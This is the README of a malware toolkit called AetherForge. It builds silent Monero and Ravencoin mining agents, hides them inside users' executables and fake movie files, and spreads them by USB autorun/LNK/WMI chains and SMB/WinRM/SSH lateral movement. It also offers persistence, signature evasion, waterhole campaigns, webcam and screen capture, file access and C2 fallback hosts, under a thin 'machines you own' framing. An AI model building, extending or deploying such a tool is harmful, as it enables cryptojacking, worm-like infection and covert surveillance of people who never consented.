AetherForge/README.md

# AetherForge

**Private Monero + Ravencoin fleet command deck for machines you own.**

One control PC. One dashboard. Forge silent workers for **Windows, Linux, and macOS** — fuse inside any file, spread via USB, spread over LAN — and watch your fleet hash from a steampunk-neon command deck.

No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.

---

```
  ┌─────────────────────────────────────────────────────────────────────┐
  │  CALIBRATE (Settings)   pool · wallet · users · Telegram alerts     │
  │           │                                                         │
  │           ▼                                                         │
  │  FORGE (Builder)        XMR worker · RVN GPU worker · Fusion        │
  │           │                                                         │
  │           ├──► Prep fusion      embed worker in your own .exe       │
  │           ├──► Movie fusion     locked media + runner + ZIP         │
  │           ├──► USB Propagation  auto-spreads to every USB drive     │
  │           └──► LAN Spread       SMB / WinRM / SSH lateral install   │
  │                                                                     │
  │  WORKER PC              RandomX CPU · KawPoW GPU · WebSocket home   │
  │                         → installs → mines → USB-spreads → phones   │
  │                                                                     │
  │  COMMAND DECK           live stats · 3D map · Crucible · roster     │
  └─────────────────────────────────────────────────────────────────────┘
```

---

## What This Is

AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, not a generic miner wrapper.

| Layer | What it does |
|-------|----------------|
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, **[field wiki](/docs/)** at `/docs/` |
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry |
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, USB spread, AI autonomy flags |

You configure defaults once in **Calibrate**. You forge once per target profile in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.

---

## What You Get

### Command Deck (Dashboard)

- **Sign-in gate** — HTTP Basic auth; session persisted until tab is closed; transport blips keep saved credentials with a **degraded** banner (distinct from 401 logout)
- **Re-forge guard** — confirmation prompt before re-running a saved blueprint compile
- **Download resilience** — authed file/log/backup downloads use extended timeouts (5–10 min) with clear `AbortError` messaging
- Live fleet hashrate, CPU/RAM gauges, share feed
- **Fleet Health Score** — weighted 0–100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
- **Contribution Map** — per-agent hashrate bars with USD/day estimates when XMR price is loaded
- **Underperformer list** — machines below 70% of fleet median with one-click "Restart All"
- **OS / Arch Breakdown** — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
- **LAN Group View** — agents grouped by /24 subnet; aggregated hashrate per segment
- **XMR price** — server-side CoinGecko fetch, 10-minute cache
- **Earnings Estimator** — XMR/day formula + live SupportXMR data; USD/day and time-to-payout
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber)
- **Monero section** — CPU hashrate gauges, share feed, pool status, per-rig breakdown
- **Ravencoin section** — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards
- Pool connection status and AI activity panel (Advanced mode)
- Matrix stream overlay with mystic word drops (Advanced mode)
- **Install funnel** — agents per build/worker over 7 days, new connects today, USB-spread flag
- **Operator audit strip** — last operator actions (forge, commands, config save, secret rotate)

### Fleet Roster (Agents)

- Every connected worker — hostname, IP, cores, memory, uptime, hashrate, latency badge
- **Compact rows** — click to expand inline details and compact remote action strip
- **Fleet Groups** — select multiple machines, create a named + colour-coded group; groups are selectable in the Crucible for instant batch targeting
- **Remote control panel** — full tactical terminal with live stats ticker, colour-coded log lines, title bar, and clear button
  - Mining ops: pause / resume / restart miner
  - Recon: sysinfo, list processes, network scan, DNS config, listening ports
  - System: **Reboot**, **Shutdown**, **Wake-on-LAN** (sends UDP magic packet to agent's MAC address)
  - Screen: **Screenshot** (desktop), **Live view** (3s slideshow while tab focused), and **Camera** (USB/built-in webcam via `camera_snapshot`; Windows/Linux agents need **ffmpeg** on PATH)
  - **File browser** — `list_dir` / `read_file` (512 KB cap) / upload / download in Crucible when one node is selected (Windows agents)
  - Admin: PowerShell terminal, file upload, uninstall
- **Live stats ticker** — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online
- **Auto-sysinfo** — system info is fetched immediately when you select an agent
- **Offline banner** — controls disabled with a clear OFFLINE badge when agent is not connected

### Forge (Miner Builder)

- **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP)
- **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install`
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
- Blueprint save/load — re-forge the same profile across machines
- Build manager — download, paths, LAN QR for worker URL
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode / `osslsigncode` signing
- **Universal / spread-kit signing** — `sign_build` applies to spread-kit workers and universal-fusion runners (not just single-platform exes)
- **Build size limits** — universal ZIP, spread-kit, and fusion outputs enforce `checkBuildSizeFile` before dispense
- **Fusion obfuscation** — launcher compile respects `shouldObfuscate` / garble flags (not just the worker binary)
- **Dropper bundles** — `/get` resolves `DownloadURL` artifacts; PS1 ZIP handler tries `start.bat` / `deploy.bat` fallbacks
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov`; embedded or paired delivery modes
- **Batch forge** — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
- **Backup pools** (advanced) — fallback Stratum pool list baked into the agent
- **Backup server URLs** (advanced) — fallback C2 addresses baked into the agent
- **USB Propagation** — enables perpetual USB self-spread chain (see below)
- **Share Spread** — auto-copy to mounted network shares + WinRM lateral install
- **LAN Auto-Spread** — SMB admin$ / SSH lateral movement gated behind C2 auth

### Ravencoin GPU Mining

Forge a worker with GPU mining enabled. The agent auto-detects the GPU at runtime:

| GPU vendor | Miner | Algorithm |
|-----------|-------|-----------|
| NVIDIA (CUDA) | T-Rex | KawPoW (RVN) |
| AMD (OpenCL) | TeamRedMiner | KawPoW (RVN) |

- Agent downloads and silently launches the appropriate miner binary
- Local HTTP API polling for live hashrate (15s / 1m / 15m averages), GPU temperature, fan speed, power draw
- RVN address and pool baked at forge time; RVN pool presets available in the Forge UI
- Dashboard shows dedicated **Ravencoin** section separate from Monero CPU stats
- CPU (Monero) and GPU (Ravencoin) hashing power tracked and displayed independently

### Emberwake (spread / waterhole)

- **Dashboard tab** `/emberwake` — campaign link builder, A/B `?pin=` rotation, spread-kit ZIP export, shared operator notes (WebSocket sync)
- **Public builds** — login page drawer + `GET /api/v1/public/builds` / `GET /api/v1/public/download/{id}` (pinned + public-flagged + latest 3; or all when `server.public_builds_enabled`)
- **Waterhole kit** — `spread-kit-web-publisher/` static templates; customize via `POST /api/v1/builder/spread-kit-export` (auth)
- **Campaign tracking** — `?c=slug` on `/get`, `/install.ps1`, `/install.sh`, `/install.command`; agents report `AETHER_CAMPAIGN` on connect
- **Forge simple mode** — spread profile chips: Web Drop, Desktop Fusion, LAN Kindling, Crucible Ops

### USB Perpetual Self-Propagation

Enable **USB Propagation** in the Forge. The baked binary:

1. **Spreads within 8 seconds** of any USB drive being plugged in (also checks drives already present at startup)
2. Drops the agent binary into a hidden system-looking folder (`~RECYCLER`, `System Volume Information`, etc.)
3. Writes an `autorun.inf` (legacy trigger), a **folder-icon LNK shortcut** (Win8+), and a visible **SETUP.BAT** fallback
4. Creates a plausible **decoy folder** (Documents / Photos / etc.) so the drive looks natural
5. Installs a **persistent WMI event subscription** that fires on every future USB mount — survives reboots
6. Refreshes the payload automatically when the agent binary is updated (size check)

**On the next PC**, when the USB exe runs via LNK or SETUP.BAT:
- `InstallIfNeeded` detects it's running from removable media
- Silently copies to `%LOCALAPPDATA%`, sets up scheduled task / registry autostart
- Original process exits; installed copy starts and **also watches for USB drives**
- Chain never ends — every new infected PC propagates to every USB it sees

### Crucible (Command Terminal)

- **[LOTL Timeline](/lotl-timeline)** (`/onion`) — live 14-tier spread progression per agent with fleet progress bars
- Select one or many agents (or entire Fleet Groups) as targets
- Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously
- **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible
- Real-time command output streamed back to the terminal

### Matrix Digital Rain

- Mystic word drops — "destroy", "witchcraft", "black magic", and others appear randomly in the rain
- **Gold flurry mode** activates in the Crucible when one machine is being manipulated
- Heavy gold rain identical to Forge progress animation

### Wake-on-LAN

- Agent reports its primary MAC address to the server on auth
- MAC stored in the fleet database
- Fleet Roster **Wake** button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC
- Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet)

### Telegram & fleet notifications (Calibrate)

Configure once under **Calibrate → Alert Notifications**:

| Field | What to enter |
|-------|----------------|
| **Telegram Bot Token** | From [@BotFather](https://t.me/BotFather) |
| **Telegram Chat ID** | Your numeric user ID (from [@userinfobot](https://t.me/userinfobot)) — **not** the bot’s ID |
| **Notify me when…** | Per-event checkboxes (all on by default) |

**Events that can ping Telegram** (and optional SMTP email):

| Event | When it fires |
|-------|----------------|
| New agent connects | First time a worker joins the fleet |
| Agent reconnects | Back online or replaces an active session |
| Agent offline | Past **Offline After (minutes)** threshold |
| Hashrate drop | Below **Hashrate Drop %** vs baseline |
| Rejection spike | Bad shares above **Rejection Rate %** |
| Forge complete | Any successful build (exe, spread kit, fusion ZIP) |

Use **Send test notification** after **Save Calibration** to verify delivery. Thresholds live in **Fleet Alerts** on the same page.

> **Security:** Never paste bot tokens in chat or commit them. Store only in `data/config.json` (gitignored).

### Fleet task scheduler (Calibrate)

Under **Calibrate → Fleet Tasks**, schedule remote actions: `on_connect`, `on_reconnect`, `interval_hours`, or daily `cron` (`HH:MM`). Actions include `sysinfo`, `full_sys_check`, `powershell`, `exec`, `pause`, `resume`, `restart`.

### Operator audit log

Records forge builds, agent commands, config saves, fleet secret rotation, and task edits. Visible on Dashboard and Calibrate; `GET /api/v1/audit`.

### Forge connection profile (Advanced)

Bake **beacon interval**, **beacon jitter %**, and **kill-after-days** (0 = never) into workers for reconnect timing and optional self-destruct.

### Agent stubs (not shipped)

- **`bof_execute`** — returns an error; in-memory BOF execution is disabled.

### Forge hardening & dispense UX

- **Sigil scramble** (default on) — unique binary hash per forge (PE timestamp + entropy overlay) without changing runtime behavior
- **Garble** + **polymorph** + optional **Authenticode** signing — layered static-signature variation
- **Dispense Reveal** — full-screen success ceremony with stealth index, binary DNA fingerprint, and download

### CISA KEV exposure scan (defensive)

**Full System Check** includes a read-only **CISA KEV** pass aligned with [CISA’s top exploited vulnerabilities](https://www.cisa.gov/uscert/ncas/alerts/aa22-117a) (Log4Shell, ProxyLogon/Exchange, Zerologon on DCs, Citrix ADC, Pulse Secure, F5 BIG-IP, Confluence, ManageEngine, Fortinet, PrintNightmare, VMware vCenter, etc.).

| What it does | What it does **not** do |
|--------------|-------------------------|
| Detects installed stacks, services, stale patching, and risky roles on **your** fleet | Does not exploit or weaponize CVEs |
| Surfaces `exposed` / `likely` / `clear` per CVE family in the sys check panel | Does not replace formal vuln scanning (Tenable, etc.) |
| Optional Telegram ping when critical indicators fire (Calibrate → **KEV exposure**) | Heuristics only — verify with vendor patches |

Run **Full Sys Check** from Fleet Roster or Crucible on Windows agents for the full KEV block.

### Fleet ops (recent)

- **Protocol Tunneling** — Cloudflare outbound tunnel, SSH local forward (Windows), WireGuard via Path Tracer; `tunnel_status` / `tunnel_stop` on owned fleet nodes (Fleet Roster + Crucible)
- **Full system check** — remote posture snapshot (AV, firewall, disk, DNS, ports, **KEV exposure**) from Fleet Roster or Crucible
- **Desktop push** — deploy files to `@desktop/` on workers
- **BITS persistence** / **host binary** run modes (Windows, advanced Forge)
- **Boot / logon autostart** — Forge `autostart_mode` (registry Run, Startup folder, ONSTART/ONLOGON tasks)
- **Path Tracer** — multi-hop WireGuard path builder (dashboard page); peer topology fixed — hop 1 gets client peer (`10.66.0.1/32`), multi-hop adds reverse peers on middle/exit hops; sessions auto-expire after 2h
- **Protocol tunneling** — operator-facing reach-through on owned fleet (see below)
- **Haptic sound** + **glow particles** — optional UI feedback (Settings)

#### Protocol tunneling (MITRE ATT&CK mapping — honest scope)

AetherForge exposes **legitimate operator tunneling** for machines you administer — not covert C2 evasion.

| MITRE technique | AetherForge feature | Scope |
|-----------------|---------------------|-------|
| [T1572 Protocol Tunneling](https://attack.mitre.org/techniques/T1572/) | Cloudflare outbound (`tunnel_cloudflared`), SSH local forward (`tunnel_ssh_forward`), WireGuard mesh (Path Tracer) | Reach internal hosts / expose agent LAN services on **your** fleet |
| [T1071 Application Layer Protocol](https://attack.mitre.org/techniques/T1071/) | Existing WebSocket C2 + optional Cloudflare tunnel to dashboard | Standard HTTPS/WSS to **your** control server |

**Not built:** DNS-over-HTTPS resolution evasion, SOCKS pivot, SMB tunneling, or features marketed to bypass network filtering.

**Commands:** `tunnel_cloudflared`, `tunnel_wireguard`, `tunnel_ssh_forward`, `tunnel_status`, `tunnel_stop` (legacy: `start_tunnel`).

**Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`. **Cloudflare Tunnel Token** (Zero Trust connector) is saved to `config.json` and `data/cloudflared-token.txt`; the server starts `cloudflared tunnel run --token …` on launch. **Portable USB:** `pack-usb.bat` seeds a default connector token in `usb/data/cloudflared-token.txt` so `LAUNCH.bat` works out of the box — replace with your own token in Calibrate or edit that file. `LAUNCH.bat` starts cloudflared first and sets `AF_TUNNEL_EXTERNAL=1` so the server skips a duplicate spawn. In Cloudflare, point the tunnel service to `http://localhost:8989` (or your listen port from `data/config.json`).

**Future (not implemented):** server-side TCP reverse relay via `tunnel_stream` WebSocket — documented for localhost dashboard testing only.

---

## Quick Start

**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.

1. Double-click **`devrun.bat`** in the project root.
   Installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server.

2. Browser opens **http://localhost:8989**

3. **Sign in** — first run: check the console window for **admin** and **comrade** passwords (both auto-created)

4. **Calibrate** → wallet + pool + public URL; optional **Telegram** bot token + chat ID for fleet pings

5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed → **Forge Installer**

6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB)

7. Watch them appear on **Command Deck** and **Fleet Roster**

### First-run login

```
=== First Run ===
Dashboard logins (random passwords on first run):
  admin   — primary operator
  comrade — second account (created at startup if missing)
Saved in data/login-credentials.json. Change passwords in Calibrate → Users.
=================
```

Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entries auto-migrated. Change or add users under **Calibrate → Users**.

**Auth surface**

| Surface | Mechanism |
|---------|----------------|
| `/api/v1/*` REST | HTTP Basic Auth |
| `/ws/dashboard` | `POST /api/v1/auth/ws-ticket` → one-time `?ticket=` (2 min); legacy `?token=` fallback |
| `/ws/agent` | Fleet-secret `auth` JSON frame |
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (includes `/agent/beacon`, `/agent/beacon/result`) |
| Static SPA + `/api/v1/health` | Open (no auth) |

---

## Portable USB (AetherForge on a stick)

Run **`pack-usb.bat`** from the project root. It:

1. Builds the frontend and compiles `AetherForge.exe`
2. Copies webroot, agent source, fusion source, and the Go toolchain into `usb\`
3. Creates `data\` directories with a starter `config.json`
4. Syncs `LAUNCH.bat`

Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → Cloudflare tunnel sidecar starts, then `AetherForge.exe` → dashboard opens at `http://localhost:8989` (or the `port` in `data/config.json`).

`LAUNCH.bat` reads `port` from `data/config.json` for display but launches **without** `-port` so config file wins over any CLI default. Bundled Go toolchain lives in `usb/toolchain/`; garble and go-winres install on first run if missing.

> **After any code change**, run `pack-usb.bat` from the repo root (it runs `npm run build`, copies `server/web/dist` → `usb/webroot`, compiles `AetherForge.exe`, syncs agent/fusion source and `LAUNCH.bat`). The USB bundle is **not** updated automatically.

> **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.

---

## Output Locations

| Artifact | Where |
|----------|--------|
| Forged agent exe | Project root (e.g. `install-worker.exe`) |
| Movie fusion per title | `fusion-deliverables/<Title>/` + `Title-package.zip` |
| Archive copy | `data\builds\{build-id}\` |
| Uninstall script | Same build folder + download API |
| Server config | `data\config.json` |
| Fleet database | `data\miner.db` |
| Dashboard build (source) | `server\web\dist\` |
| Dashboard build (served) | `server\webroot\` |

---

## Network Deployment

| Scenario | Server URL in Forge |
|----------|---------------------|
| Same LAN | `http://192.168.x.x:8989` |
| Cloudflare / reverse tunnel | `https://your-domain.com` |

Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL.

**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth.

### C2 transport (owned fleet)

Legitimate **MITRE T1071 Application Layer Protocol** usage for machines you administer — not covert DNS/SMTP/FTP tunneling.

| Layer | Protocol | When |
|-------|----------|------|
| **Primary** | WebSocket `wss://…/ws/agent` (T1071.001) | Normal operation — live stats, jobs, remote commands |
| **Fallback** | HTTPS `POST /api/v1/agent/beacon` + `POST …/beacon/result` (T1071.001) | After WebSocket is down for N minutes (Forge: **HTTPS beacon fallback**, default on when backup URLs are set) |
| **Backup hosts** | Same APIs on `backup_server_urls` | Round-robin when primary C2 is unreachable |
| **Operator alerts** | Telegram + optional Calibrate `webhook_url` JSON POST (T1071.005 lite) | Connect / offline / threshold events — server-side only |

Forge **Connection Profile** → enable **HTTPS beacon fallback** and set minutes before fallback (default 3). Fleet secret is sent as `X-Fleet-Secret` on beacon routes (same as other `/api/v1/agent/*` endpoints).

**Test fallback:** block outbound WebSocket to the control host (firewall rule on `8989`/`443` for `ws` only, or deny `/ws/agent` at the reverse proxy) while leaving HTTPS API open — agent should log `HTTPS beacon` and the dashboard should still receive stats/commands via beacon polling.

**Diagnostic:** remote command `connectivity_probe` (or startup log line) reports DNS + TCP reachability to C2 and pool hosts — diagnostic only, not a C2 channel.

---

## Agent Silence

Every agent operation is **completely silent** — no CMD windows, no PowerShell popups, no system notifications. The only user-visible event is a single UAC prompt on first launch (elevation required for persistence and firewall rules).

| Category | Mechanism |
|----------|-----------|
| Process launch | `CREATE_NO_WINDOW` + `DETACHED_PROCESS` syscall flags on all child processes |
| Persistence | Scheduled task / registry run key — no user-visible installer |
| Registry persistence (Forge) | Optional HKCU/HKLM Run, RunOnce, Explorer Policies Run — value `AetherForge_{worker}`; uninstall removes only agent-created keys |
| Boot / logon autostart | Optional Forge `autostart_mode`: HKCU Run, Startup folder shortcut, ONSTART (boot) or ONLOGON tasks — applied on install and self-heal |
| Fleet registry ops | `registry_read` / `registry_write` / `registry_delete` on administered Windows agents (allowlisted paths) |
| Mining | XMRig / T-Rex / TeamRedMiner run fully hidden |
| WMI triggers | PowerShell executed with `-WindowStyle Hidden` |
| Spread installs | `--run` flag relaunches silently with detached start |
| Fusion decoy | Only the decoy file (movie/prep) opens visibly — agent stays hidden |

---

## LOTL triple onion architecture

AetherForge chains **recon → deploy → mining** using living-off-the-land tiers only (no third-party droppers in the default preset). Forge **LOTL Onion** bakes spread contingencies; the agent pulls live tier order from Calibrate on connect.

```mermaid
flowchart LR
  R[Recon<br/>vuln_recon · service_probe] --> G{patch_first / risk gates}
  G -->|defer| X[Skip deploy or mining]
  G -->|proceed| D[Deploy lanes<br/>discover_and_join → bits_curl → smb → winrm]
  D --> M[Mining tiers<br/>container → inprocess → gpu → stratum_direct]
  M --> T[Telemetry<br/>lotl_tier · lotl_attempts · mining_hashrate]
```

Sequential tier attempts: try tier → on fail/skip → next tier until success or exhaustion (`lotl_attempts` audit trail).

**Full glossary** (every vector, definition, copy-paste example): [`tests/README.md`](tests/README.md#lotl-vector-glossary) · **Spread playbook**: [`/docs/SPREAD_TECHNIQUES.html`](server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion) · **Recon test subset**: `scripts/test-suite.ps1 -ReconOnly`

---

## Project Layout

```
crypto miner/
├── devrun.bat                  ← one-click build + launch (dev)
├── pack-usb.bat                ← build portable AetherForge USB bundle
├── run.bat / start.bat         ← aliases → devrun.bat
├── test.bat                    ← full test suite → scripts/test-suite.ps1
├── LAUNCH.bat                  ← portable/USB launch script
├── scripts/
│   ├── test-suite.ps1          ← Go + web + build + Playwright E2E
│   ├── smoke-test.ps1          ← API matrix B-01–B-10
│   ├── ci-docker-mining.sh     ← Docker Linux agent hashrate proof (CI + Linux)
│   ├── ci-docker-mining.ps1    ← same proof on Windows + Docker Desktop
│   └── e2e-validate.ps1        ← mining + CI + VM payload checklist
├── bin/
│   └── miner-server.exe
├── data/                       ← config, DB, builds, preps, logs, users.json
├── fusion-deliverables/        ← per-title movie fusion output (gitignored)
├── usb/                        ← portable USB server bundle (output of pack-usb.bat)
├── server/
│   ├── main.go
│   ├── webroot/                ← production UI (copied from web/dist)
│   ├── web/                    ← React command deck (Vite + TypeScript)
│   └── internal/
│       ├── api/                ← HTTP routes, WebSocket, auth, fleet, WOL
│       └── builder/            ← forge + fusion pipeline
├── agent/                      ← worker source (Forge compiles per OS/arch)
│   ├── client/                 ← WebSocket client, command handler, GPU miner, screenshot
│   ├── deploy/                 ← install, persistence, watchdog, passive spread, firewall
│   └── config/                 ← builtin config baked at forge time
├── fusion/                     ← prep + movie runner source
├── tests/README.md             ← test phases, E2E env vars
├── docs/E2E_VALIDATION.md      ← secure payload validation playbook
├── PROBLEMS.md                 ← known issues (severity-ranked)
└── README.md                   ← you are here
```

---

## API Surface

| Method | Path | Purpose |
|--------|------|---------|
| GET | `/api/v1/health` | Health check (no auth) |
| POST | `/api/v1/auth/ws-ticket` | Issue one-time dashboard WebSocket ticket (Basic auth) |
| GET/PUT | `/api/v1/config` | Calibrate settings |
| POST | `/api/v1/builder/build` | Forge worker / fusion (multipart) |
| GET | `/api/v1/builds` | List builds |
| GET | `/api/v1/builds/{id}/download` | Download forged exe |
| GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) |
| GET | `/api/v1/agents` | Fleet list |
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, reboot, screenshot, …) |
| POST | `/api/v1/agents/{id}/wol` | Send Wake-on-LAN magic packet |
| POST | `/api/v1/agents/bulk-command` | Send command to multiple agents |
| GET | `/api/v1/alerts` | Active fleet alerts |
| POST | `/api/v1/alerts/test` | Test Telegram / SMTP (no real alert raised) |
| GET | `/api/v1/pools/status` | Stratum pool connection states |
| GET | `/api/v1/earnings/estimate` | XMR/day estimate |
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
| GET | `/api/v1/audit` | Operator audit log (last 50) |
| GET/PUT/DELETE | `/api/v1/fleet-tasks` | Scheduled fleet tasks |
| GET | `/api/v1/dashboard/spread-funnel` | Install funnel stats (7d) |
| WS | `/ws/agent` | Worker connection |
| WS | `/ws/dashboard?ticket=<one-time>` | Live dashboard feed (legacy `?token=` still accepted) |

Full route list: `server/internal/api/router.go`

---

## Cross-Platform Workers

| OS | CPU miner | GPU miner | Persistence | Install base |
|----|-----------|-----------|-------------|--------------|
| Windows | XMRig (RandomX) | T-Rex / TeamRedMiner (KawPoW) | Registry + scheduled task | `%LOCALAPPDATA%` |
| Linux | XMRig | — | systemd user service | XDG data home |
| macOS | XMRig | — | LaunchAgent | `~/Library/Application Support` |

**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing (`-tags p2p`). Relay writes go through `AgentClient.mu`; `MeshNode.Stop()` tears down mDNS/host. Default builds use a no-op stub.

**LAN spread:** Shared `deploy/subnet.go` — IPv6 local IPs + /64 prefix matching, IPv4-only active sweep; SSH/SMB prerequisites documented in spread entrypoints.

---

## Movie Fusion (detailed)

| Mode | Best for | What you get |
|------|----------|----------------|
| **Embedded (Option A)** | Clips / smaller files (~500 MB) | One disguised file (`Title.mkv.exe`) with movie + hidden worker |
| **Paired (Option B)** | Full films (up to 2 GiB) | Per-title folder under `fusion-deliverables/<Title>/` |

**Paired layout:**

```
fusion-deliverables/Vacation/
├── README.txt              ← instructs user to run the runner for "enhanced 4K"
├── Vacation-runner.exe     ← decrypts & plays; worker hidden inside runner
├── Vacation.mkv.cmdata     ← encrypted media (hidden)
└── Vacation.mkv.lnk        ← shortcut → prompts for runner
```

---

## Manual Build

```bat
cd server\web
npm install
npm run build

cd ..\..
xcopy /E /I /Y server\web\dist\* server\webroot\

cd server
go build -ldflags="-s -w" -o ..\bin\miner-server.exe .

cd ..
bin\miner-server.exe -port 8989 -data .\data
```

### Run the test suite

```bat
test.bat
```

Or run `scripts\test-suite.ps1` directly. Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default test credentials.

With the server running, run `scripts\smoke-test.ps1` for the REST API matrix (B-01–B-10).

### CI Docker mining proof (Linux agent)

Proves the isolated Docker stack: server healthy, `docker-e2e-linux` online, hashrate > 0. Uses test wallet + fleet secret from `docker/data/` (see `docker/README.md`). Runs on every push via GitHub Actions (`.github/workflows/ci-docker-mining.yml`).

```bash
# Linux / macOS / CI
scripts/ci-docker-mining.sh

# Windows + Docker Desktop
.\scripts\ci-docker-mining.ps1
```

Manual compose only (script still asserts + tears down):

```bash
docker compose -f docker/docker-compose.yml up --build -d
scripts/ci-docker-mining.sh
```

### Secure local payload validation

Full Windows payload tests (spread, screenshot, GPU, persistence) need a **disposable Hyper-V/VMware Windows VM** — not Docker Windows containers. Automated mining/C2 regression stays on the host.

```powershell
.\scripts\e2e-validate.ps1              # Tier 0–1 + VM checklist
.\scripts\e2e-validate.ps1 -PrepareOnly # isolated data-e2e\ + instructions
```

Playbook (tier matrix, Crucible checklist, log paths, snapshot teardown): [`docs/E2E_VALIDATION.md`](docs/E2E_VALIDATION.md).

### Dashboard dev server

```bat
cd server\web
npm run dev
```

Vite proxies `/api` and `/ws` to `localhost:8989`.

### Tech stack (dashboard)

| Package | Version |
|---------|---------|
| React | 18.x |
| `@react-three/fiber` | 8.x |
| `@react-three/drei` | 9.x |
| Vite | 5.x |

> `@react-three/fiber` v9 requires React 19. With React 18 the app fails to mount (blank screen). `package.json` pins compatible versions.

---

## Under the Hood

- **Data dir resolution** — portable `LAUNCH.bat` passes `-data`; `mergeConfig` merges `server.fleet_secret` and `tunnel_defaults`; listen **port** comes from `data/config.json` (CLI `-port` does not override saved config)
- **Cloudflared dedupe** — server skips starting cloudflared when `AF_TUNNEL_EXTERNAL=1` or an external `cloudflared.exe` is already running
- **Stratum proxy** — workers submit through your server; one upstream connection per wallet/host + `PaymentID` in pool key (no integrated-address collisions)
- **Stratum fallback** — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects
- **WebSocket hub** — agents and dashboard share live stats, jobs, alerts, and screenshots
- **Fleet secret** — random token baked into every forged agent; rejected if it doesn't match
- **MAC address collection** — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN
- **Hashrate reporting** — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels
- **Process guard** — Unix `pgrep` fix: matches only the agent binary (no false-positive self-kill)
- **Miner engine** — `HashAtNonce` returns explicit errors (`ErrEngineNotReady`, `ErrBlobTooShort`) instead of silent empty hashes
- **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents
- **Sigil scramble** — post-forge uniquification of each dispensed binary
- **Telegram notifier** — configurable per-event pushes from agent connect, health thresholds, and forge complete
- **Cross-platform code signing** — `signtool` on Windows, `osslsigncode` on Linux/macOS
- **Server-side forge cancel** — each build tracked by UUID; `DELETE /api/v1/builder/cancel/{token}` kills the compiler
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
- **Screenshot buffering** — server buffers base64 JPEG frames per agent; dashboard `screenshot` command downloads instantly

---

## Troubleshooting

| Symptom | Likely cause | Fix |
|---------|----------------|-----|
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data; `npm install && npm run build`; copy `dist` → `webroot`; restart server |
| Login loop / 401 | Wrong password or missing `users.json` | Check console for first-run password; delete `data/users.json` and restart |
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*` → `server/webroot/` |
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open port 8989 on control PC |
| GPU miner doesn't start | No CUDA/OpenCL or binary download failed | Check agent log; ensure outbound internet from worker; verify GPU drivers |
| WOL doesn't wake machine | BIOS WOL disabled or different subnet | Enable WOL in BIOS; direct broadcast works on same /24 only |
| USB payload not spreading | `USBSpread` not enabled at forge time | Re-forge with USB Propagation checked |
| Screenshot download is empty | Agent offline or screenshot command not sent | Ensure agent is online; check Fleet Roster terminal for errors |

---

## Known Issues

See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit. Check there before production use on a large fleet.

---

# ⚠ LEGAL & FAIR USE WARNING

**Read this before you deploy anything.**

### Authorized use only

